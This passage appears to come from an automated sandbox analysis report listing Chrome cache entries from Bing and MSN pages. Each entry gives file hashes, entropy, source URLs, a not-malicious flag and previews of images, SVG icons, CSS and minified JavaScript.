SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ni3MyKKVu9pK0SgY6gb6Z2NOGpg.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

Chrome Cache Entry: 712

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3621
Entropy (8bit):	7.869742556964816
Encrypted:	false
SSDEEP:	48:8/bxnuERAczjHWu1zObitB0zRp5/tEHySKmpdvgWvPXba22J5ieGnCN9WpM:8zgE7vHWut5BWLeSspNjLa22J5i1CvW+
MD5:	AFA5114B4E0AB7C2770F87A24EB36CC0
SHA1:	F0443CD986DFA5AD165E91700639AC1B31F17CD9
SHA-256:	9434F5BD85A582483EF73E8B9FE18831894C311DB4C3A2BC3F3E9FE6CAC5A1BB
SHA-512:	DBD05FEE4CD440301B978E9B517CF8825AEBC34827BB120C0CC83EFD65393B7202C57FBD39091BF21A608FF91AEA3E114E2DEE63201DA5FEE650A0D36BF87103
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_-apHFCGZePml_B2QN3LKZA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.."..=F.P...x.J.$...I.T....:Y........y.....l..?.'...?..?.....z..!6ooy...i..u.lw...r.d..d.z.^..E.i.].F.8'..a.z....Z.{....x.e..........J.9Kc..Ic....JL..V1..v$....W.......3e.....0........@..xoc..iO.r7t..\|{{.....owq-.C.p.A.j.r...........G.Y....u..#..RxP.\c.9.....2x.....b.I%..y.l.wee\.T.......U]z[{.baEP&...=..)'u..:...n{}....}..cl....1....j.q.G..A....'.....L.

Chrome Cache Entry: 713

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10425), with no line terminators
Category:	downloaded
Size (bytes):	10425
Entropy (8bit):	5.877747511835847
Encrypted:	false
SSDEEP:	192:049BHgs5BZND4Nd37hkB6ow9jkBw6wGG6XO9p7TkBUeU:04MENsNvI6oyI1wgXO9ZI4
MD5:	B74765F3D1ED99C2FAC3FA5E4202DC4B
SHA1:	A48B155DBBC65470F381282A1F9E21FF2DD46B27
SHA-256:	1792B996F940322E3222D3ABE4B08A1AE60CD7FDA3E186FA008D14C0E541551D
SHA-512:	1AB28BE6C73CFC7B08B9529EBB3EBC028A46DC88CCDBF002FCFF4854F624BD0DC6BDA42185B47C1CA312B14D1978172E5737EFF53FC4C2BC96B593DDE8A35849
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/pIsVXbvGVHDzgSgqH54h_y3Uayc.css
Preview:	#rewardsEntryPoint{display:block !important;position:fixed;top:-20%;right:0;z-index:1;opacity:.9}#rewardsEntryPoint:hover,#rewardsEntryPoint:focus{opacity:1}#rewardsEntryPoint.b_hide{display:none !important}#rewardsEntryPoint #overlayContainer{display:grid}#rewardsEntryPoint #overlayContainer #overlay,#rewardsEntryPoint #overlayContainer #pointsContainer{grid-area:none;height:50px;border-radius:50px 0 0 50px;box-shadow:0 0 2px 0 rgba(0,0,0,.12),0 4px 8px 0 rgba(0,0,0,.14)}#rewardsEntryPoint #overlayContainer #pointsContainer{background:linear-gradient(257deg,rgba(21,122,194,.9) 9.85%,rgba(12,182,95,.9) 70.99%)}#rewardsEntryPoint #overlayContainer #pointsContainer.hasMessage{width:174px}#rewardsEntryPoint #overlayContainer #pointsContainer:hover,#rewardsEntryPoint #overlayContainer #pointsContainer:focus{cursor:grabbing}#rewardsEntryPoint #overlayContainer #pointsContainer:hover #rewardsXClose.rms_img,#rewardsEntryPoint #overlayContainer #pointsContainer:focus #rewardsXClose.rms_img{dis

Chrome Cache Entry: 714

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.58625494968845
Encrypted:	false
SSDEEP:	24:ttMD4XW6zQpmgG5fYQpmgG5j4zFQZcSXWEcoqRQ:HRSm/Nvm/CIXWW
MD5:	B3199E6BAF6D264405C122BF5EBE64A0
SHA1:	EE1B56CEA599BFC1921C96885B585A6ACF523531
SHA-256:	BBA51407483F3DECBA29C8D3398AC6F244B415BE04055123775C4A428CFDFDDC
SHA-512:	5CB6654495A14595BCE84C0AA6C26FDFBE0E44E0E44DB703392641F772D26B4C6835501EEB5410CBBE6D882A3199795A812782472BED5A8A8D951CB56237B007
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m59.5.5h-27.5v47h27.5c2.209 0 4-1.791 4-4v-39c0-2.209-1.791-4-4-4z" fill="#111"/><path d="m4.5.5h27.5v47h-27.5c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff"/><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="none" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.

Chrome Cache Entry: 715

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Reputation:	unknown
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

Chrome Cache Entry: 716

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	4.5002812368789336
Encrypted:	false
SSDEEP:	24:tBJluJMHMMV709HTMMrgCyDrGpsgsxPSBAs3b0PzlUVZFAHo38xAIUr4zYY3BArF:5/YbysuxPSdupG48ayP
MD5:	3AC9F8594F02FB302D7C05C7F64C3EA4
SHA1:	EFEEA55DE6C48BAD79D0AAAE1A954B19D5A14571
SHA-256:	EEF71DA25F01CC0B83539CECD5320B5717A10F441F82754DA23E6082083A86B9
SHA-512:	35A42CF8F6B57C95328EBD27A49C9CC0FDD158A329E46C61E3C7C07A218D001A964AF3D66506BFCA889754A0D47742615B731DB3110DBDDB6F3B33594A7AFFF1
Malicious:	false
Reputation:	unknown
Preview:	<svg width="30" height="14" viewBox="0 0 30 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <g clip-path="url(#clip0_1_504)">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M7.39998 12.8H14.2L17.3 1.20001H7.39998C4.19998 1.20001 1.59998 3.80001 1.59998 7.00001C1.59998 10.2 4.19998 12.8 7.39998 12.8Z" fill="white"/>.. <path fill-rule="evenodd" clip-rule="evenodd" d="M22.6 0H7.40002C3.50002 0 0.400024 3.1 0.400024 7C0.400024 10.9 3.50002 14 7.40002 14H22.6C26.5 14 29.6 10.9 29.6 7C29.6 3.1 26.4 0 22.6 0ZM1.60002 7C1.60002 3.8 4.20002 1.2 7.40002 1.2H17.3L14.2 12.8H7.40002C4.20002 12.8 1.60002 10.2 1.60002 7Z" fill="#0066FF"/>.. <path d="M24.6 4.00001C24.8 4.20001 24.8 4.60001 24.6 4.80001L22.5 7.00001L24.7 9.20001C24.9 9.40001 24.9 9.80001 24.7 10C24.5 10.2 24.1 10.2 23.9 10L21.7 7.80001L19.5 10C19.3 10.2 18.9 10.2 18.7 10C18.5 9.80001 18.5 9.40001 18.7 9.20001L20.8 7.00001L18.6 4.80001C18.4 4.60001 18.4 4.20001 18.6 4.00001C18.8 3.80001 19.2 3.80001 19.

Chrome Cache Entry: 717

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	2356
Entropy (8bit):	7.788530055266728
Encrypted:	false
SSDEEP:	48:8/bxnuERAvS9eAtaN2w1Z7zutSXaUlOBpQdJ3dLCq6yRZ/RSFGHFPG:8zgEP0At3w1Z7z0SXXA+tGqdhIgQ
MD5:	3545ED1A882A931AE397E94703D788CE
SHA1:	E99A1DFD963E470A826454C371697414AAD49013
SHA-256:	0B71FD3B45AC99E1BB3FD3B27C690D9A227BFA2A9162EDCE621D59C73023D0B7
SHA-512:	2758702A250A46930537E102008EA502CD6C3407D406102735C857CFC915BC6E19FFB519426C9A2088725707D027CB9150CC474F1010F9CA79B5AFF7C0428B8D
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_gdhKoZzUo8Q_PwwMTcgCxQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.........m9.5..h...a..t=..\|.......)...KH.....G.PpsM.z.u.e.m.......Mn......$...~...\...{......D..........J....x........ ..Ed.6z.h.[.Rj.."k}>.z.\|...Y.cX..N.&..C"!.f\...-WFW....o......g..]...>....u\.0...Wdc..W...`..p..\|.NjLS....F)1@....&3L.:S...........4..E.ZR>jLT.$?z...E..d.50.:..M.<r=..1KF1E.....u.n/`......^...N.G....A..Ty..8`:s..D...hxs.."6...8.T:T...i..

Chrome Cache Entry: 718

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.136110936757293
Encrypted:	false
SSDEEP:	24:fIihitYJ/jWdE2XsQvGYCU1Y72Xdmq50tbrFl20MVq4OSLw:AiH/j0EisV9UNXdfifKf7Lw
MD5:	9119C1A6EA63AFA55E6274B55B458817
SHA1:	618102DB60F79261B94845EA3F65895EF6995AFD
SHA-256:	0FA50A450106430FB653E3EC832D8E0361F08B88FA32FC7A3F8C148755210B9B
SHA-512:	504E036FF7DDB00E2B784B68EC3C2C01635B003690FB8D6554BA269A65E07BE49D18C47E16328B3817185B6CB55DF2F1B943611F30B44C4DA2408BDE1DA41915
Malicious:	false
Reputation:	unknown
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........c...............................................!.1..A"..........................................1............?..~.......{.o][...+....@m.=]Q.Zr..cQ.[.GX.r..A.V.q..A.V..V.GiZ..V.....VG.t.=..v=S....+.;.W^l.]yy..>W.LW...O...{.n.V=...]t.N=1[....o..fc.k..>Q....1..=.H...^..~_..>..<.....+7.....42.Z....1....J.k..V.r..Du..rPv..\5.A.a:r.Tw.~N:..G=c..{q..X........#.mu...o;..O..d......~]}1....<...{...].g.^o.....`.=.z.+H...)..=.cL.}[......Y..X.4.....i.ADh.b7".my....M5y..]kX..u.Pt.X.F.....\|...zg..>o=..@..\._....S.....k<..`?C}5.g....mz.S....}H.{..s.....1zy..'].(.k.....{c...G..#.ww...:....5....d....LGH..a...r..).&.rGH.J..du......Q.]s]..0h:i........;.9h5z^zs.../K-z..$\|.z..V.=..W.N...c.v...o...M...i.q..A..'.V/[.....iU......Z........+r.kr...k............... .`............[....

Chrome Cache Entry: 719

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3102), with no line terminators
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	5.21762849278984
Encrypted:	false
SSDEEP:	48:wSGAYinlz3omPxexUQn4T4mEWOJXBEmQ4Qbjzu7EG62C5lamlh/uf:w3inJ3rs6DTmfXBq4Ujzu7k9jfK
MD5:	DD6A528C55708896155FEA98148725FA
SHA1:	53C48069ABE54FD30D9FFF1D7FD8C287AFBBE1B1
SHA-256:	635421AF44598C7601907A7AD263A3A8925BE6495BA349382F02805DBE668566
SHA-512:	B1D3214F238D873708ABDD7DADB4E3C01BFA036B0AA737028E58E9EC5236A6D8600DC0D11628B0E299027ADD8697D60D37443548864D1DB3B25747098BFB1A24
Malicious:	false
Reputation:	unknown
Preview:	var MobileIcon;(function(){function wt(){var t,i;tt()?((t=n===null\|\|n===void 0?void 0:n.classList)===null\|\|t===void 0?void 0:t.add("b_hide"),r("overlap")):((i=n===null\|\|n===void 0?void 0:n.classList)===null\|\|i===void 0?void 0:i.remove("b_hide"),Log.Log(b,k,"resize"))}function tt(){return(g===null\|\|g===void 0?void 0:g.offsetWidth)-((e===null\|\|e===void 0?void 0:e.offsetWidth)+(d===null\|\|d===void 0?void 0:d.offsetWidth)+at)<vt}function i(t){var i=_ge("id_mobpopcntr");(n===null\|\|n===void 0?void 0:n.contains(t===null\|\|t===void 0?void 0:t.target))\|\|(i===null\|\|i===void 0?void 0:i.contains(t===null\|\|t===void 0?void 0:t.target))\|\|r("ClickPage")}function ht(t){Log.Log(it,k,t);bt();n===null\|\|n===void 0?void 0:n.classList.add("active");s=!0}function ct(){if(sj_gx){var n=sj_gx();n.onreadystatechange=function(){n.readyState==4&&n.status==200&&(et=!0,sj_appHTML(e,n.responseText),sb_st(function(){ht("ClickMobileIcon")},250))};n.open("GET","/header/mobupsellfly",!0);n.send()}}function bt(){sj_be(_d,"cl

Chrome Cache Entry: 720

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46198)
Category:	downloaded
Size (bytes):	78250
Entropy (8bit):	5.5302144997722795
Encrypted:	false
SSDEEP:	768:aNHzhc0qXvNbXUQk10BG8+woD+XyYepQcRm9cCaaI4Vr4bZdTuXt0PhANRp/gCav:JXvfk1SG8gm9cJhMSCcjXln0c62e/jNu
MD5:	D0541FEB9CF7EC680838514F33E37017
SHA1:	F3F20E735269A0E7BDC6382D1FE5FA8A2F60F107
SHA-256:	04E4AB24531652C560B92BCC9EEB263B4070CF626BD0F9D5D573B2E891FC99BD
SHA-512:	4847257DAB51038B99D9738F3D9BFB1AFC15B85E1253F4855984DCF187FE9F0D88B1911F8F193D46B5085C694916F154A8EA1A8BCF097D74F2067E75A4B173AD
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/social-bar-wc.5c658caca1f1d3a9dea5.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["social-bar-wc"],{95237:function(t,e,o){"use strict";o.r(e),o.d(e,{SocialBarWC:function(){return U},SocialBarWCStyles:function(){return Ft},SocialBarWCTemplate:function(){return Rt},ToolingInfo:function(){return It}});var n,i=o(33940),a=o(89515),s=o(65756),l=o(4456),r=o(77904),c=o(53076),d=o(83227),p=o(56692),u=o(44979),h=o(57839);!function(t){t[t.UpdateSocial=0]="UpdateSocial",t[t.UpdateSocialComment=1]="UpdateSocialComment",t[t.ToggleCommentOverlay=2]="ToggleCommentOverlay",t[t.CommentOverlayVisibilityChanged=3]="CommentOverlayVisibilityChanged",t[t.RenderSocialPopup=4]="RenderSocialPopup"}(n\|\|(n={}));class m{static dispatchEvent(t,e){window.dispatchEvent(new CustomEvent(t,{detail:e}))}static listenEvent(t,e){window.addEventListener(t,(t=>e(t.detail)))}static getEventNameFromType(t){return`SocialCommunicatorEvent-${t.toString()}`}static updateSocial(t){m.dispatchEvent(m.getEventNameFr

Chrome Cache Entry: 721

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (391), with no line terminators
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/kmQOPQp8vl1HvI8PfMk2LoJInSM.js
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

Chrome Cache Entry: 722

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

Chrome Cache Entry: 723

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1040
Entropy (8bit):	4.906475176292464
Encrypted:	false
SSDEEP:	24:t3JfDuJSMMg7cO4PRgASiFL9PddDSYXIzfpMhg4BLy+K5bHxpGlG8O:30cZPRdx3n9vLvK5bHac8O
MD5:	7EAFCE495848D8F8805487DA7F6C17E8
SHA1:	D14E7BE4F3BA3860F9292B6E1FE1EE6B432945F6
SHA-256:	B6F9A9A7FD5FAD7452F972E26119B4A2180E6E28681C4CA77F3D49A9DCB3A151
SHA-512:	A7D4A78E6C1DC8BAB9B86C099417E1AC2CC6581A7F99780ACCAC2A79F5D5FAEEBA514A61B3BEB34A8BAE6C4B3CC67A8580F4506ABB0817DC7DB3499464827DF3
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/shopping/discountTag.svg
Preview:	<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M13.6505 1.15573C13.6203 0.625918 13.191 0.206607 12.6606 0.188891L7.86533 0.0287154C7.57733 0.0190956 7.29857 0.131052 7.09722 0.337199L0.313162 7.28308C-0.0826965 7.68838 -0.0750412 8.33785 0.33026 8.7337L5.39872 13.6841C5.80402 14.0799 6.45349 14.0723 6.84935 13.667L13.6334 6.72108C13.8348 6.51493 13.9401 6.2336 13.9237 5.94591L13.6505 1.15573ZM11.0542 3.19839C11.3347 3.47234 11.7842 3.46704 12.0581 3.18655C12.3321 2.90607 12.3268 2.4566 12.0463 2.18265C11.7658 1.9087 11.3163 1.914 11.0424 2.19449C10.7684 2.47497 10.7737 2.92443 11.0542 3.19839Z" fill="url(#paint0_linear_9629_1325)"/>.. <defs>.. <linearGradient id="paint0_linear_9629_1325" x1="4.94694" y1="13.487" x2="0.000210146" y2="3.39805" gradientUnits="userSpaceOnUse">.. <stop stop-color="#4464FF"/>.. <stop offset="1" stop-color="#44B0FF"/>..

Chrome Cache Entry: 724

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6390
Entropy (8bit):	7.916045846394136
Encrypted:	false
SSDEEP:	96:8zgENeFGicJL25Ssxv3SEgGTEU4AKiTi2d95qNgmsXhn2:ygVCZ4bvNgVXoTivNgmsXp2
MD5:	8BD85792846F5BAE63FDC99CA49150FF
SHA1:	205880EDF6118311758CBDEC786E34BF6C5F2C04
SHA-256:	6C29760D9B90767B751689DA2ACFBDF12C15C63427CBCB62D7947F78B9C4F85F
SHA-512:	55E6443EA079230DBF72A81F7B043D9D9EFA5B11B4A502A77CD4243D9BF676845951CBC1F88703E9D3A775F12EFB43DA725CAE349EA844F0AB10B320515B20A7
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....8b..'.._'...2.O0H.U.....t.>...".&..e...WL....1.....R%...z.K.......e..6....:.:...V_i...d...v..p..NGo.N.wCP....l..\.:s...^.gt.w....yN....G....i.C),"..s.p..z.......hV.Q.3y"(..z......(.+TZ..z.Y......[.?..JO..D.#J.l...g.....n.....QN...\|C. ..H...Y... *.x.^\|...zm.......".$X.....l..}I5..K..k.9......,.....b..Q".....g..-..{..._9...oi.q...Y.D.p...[.J.6...

Chrome Cache Entry: 725

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2009), with no line terminators
Category:	downloaded
Size (bytes):	2009
Entropy (8bit):	5.260635854713912
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8AA+nLzpJWM1nzfC57eADCoAILODcv/KUSCUvXG3AP5tD1FiOw:7LpsA0pJdQ7eG2KRSCMg+D1gZV5
MD5:	601102CA711E0B4140AF45C1657DB13F
SHA1:	7977EF6E79471380B8787B5B7148E9FF0A74A203
SHA-256:	E47318CD9D80769AC59E732347FB4F574CD4EEA9E2C787F3A996805265069001
SHA-512:	082834DC3EC02CF433FBD8D45C7CFDAC1EDF64B90E1198E48EACA4056E98BBE1BCFA8275B4D99BCC0E6934049DC084EEC5D640B54C1933DABB42FA75016E3E40
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/eXfvbnlHE4C4eHtbcUjp_wp0ogM.js
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var h;u=u\|\|r;var s=_ge("id_rh"),e=_ge("rh_animcrcl"),a=_ge("id_rc");if(s&&a&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var o=_ge("rewardsEntryPoint"),v=800,y=r-n,c=Math.min(100,100(r/u)),l=e&&c>=100&&n<u,p=y>0,w=Date.now();c>=100&&s.classList&&Lib.CssClass.add(s,"rh_reedm");e&&Lib.CssClass.add(e,"anim");h=function(u){var a,k;if(u){var tt=Date.now(),d=tt-w,g=Math.min(d/v,1),it=l?tg:tc/100,rt=p?Math.min(Math.floor((n+gy)/f)*f,r):r,nt=_ge("rewardsBright"),b=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",it.toString()+","+t.toSt

Chrome Cache Entry: 726

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	4.923112772413901
